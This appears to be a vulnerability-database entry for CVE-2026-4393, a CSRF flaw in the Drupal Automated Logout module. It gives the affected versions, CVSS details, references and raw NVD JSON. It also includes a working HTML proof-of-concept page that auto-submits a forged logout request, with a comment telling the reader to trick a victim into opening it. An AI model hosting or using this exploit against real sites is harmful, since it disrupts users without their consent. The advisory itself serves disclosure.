CVE-2026-4393

Description

Cross-Site Request Forgery (CSRF) vulnerability in Drupal Automated Logout allows Cross Site Request Forgery.This issue affects Automated Logout: from 0.0.0 before 1.7.0, from 2.0.0 before 2.0.2.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:ajk:automated_logout:*:*:*:*:*:drupal:*:* - VULNERABLE

Drupal Automated Logout < 1.7.0

2.0.0 <= Drupal Automated Logout < 2.0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-4393 -->
<!-- This PoC demonstrates the CSRF vulnerability by triggering a logout request -->
<!-- Host this file and trick the victim into opening it while logged into the target Drupal site -->

<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="http://<target-drupal-site>/automated_logout" method="POST">
      <input type="hidden" name="confirm" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4393
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4393
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4393/
[4] VulDB https://vuldb.com/cve/CVE-2026-4393
[5] https://www.drupal.org/sa-contrib-2026-030

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4393", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:10.220", "lastModified": "2026-04-01T16:16:59.407", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Drupal Automated Logout allows Cross Site Request Forgery.This issue affects Automated Logout: from 0.0.0 before 1.7.0, from 2.0.0 before 2.0.2."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en Drupal Automated Logout permite la falsificación de petición en sitios cruzados. Este problema afecta a Automated Logout: de 0.0.0 anterior a 1.7.0, de 2.0.0 anterior a 2.0.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ajk:automated_logout:*:*:*:*:*:drupal:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.2", "matchCriteriaId": "ACFAF8A2-B596-4E9B-A530-EDB142370F71"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ajk:automated_logout:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "8.x-1.7", "matchCriteriaId": "A9EF10FF-13A1-41B7-804F-740951533411"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2026-030", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}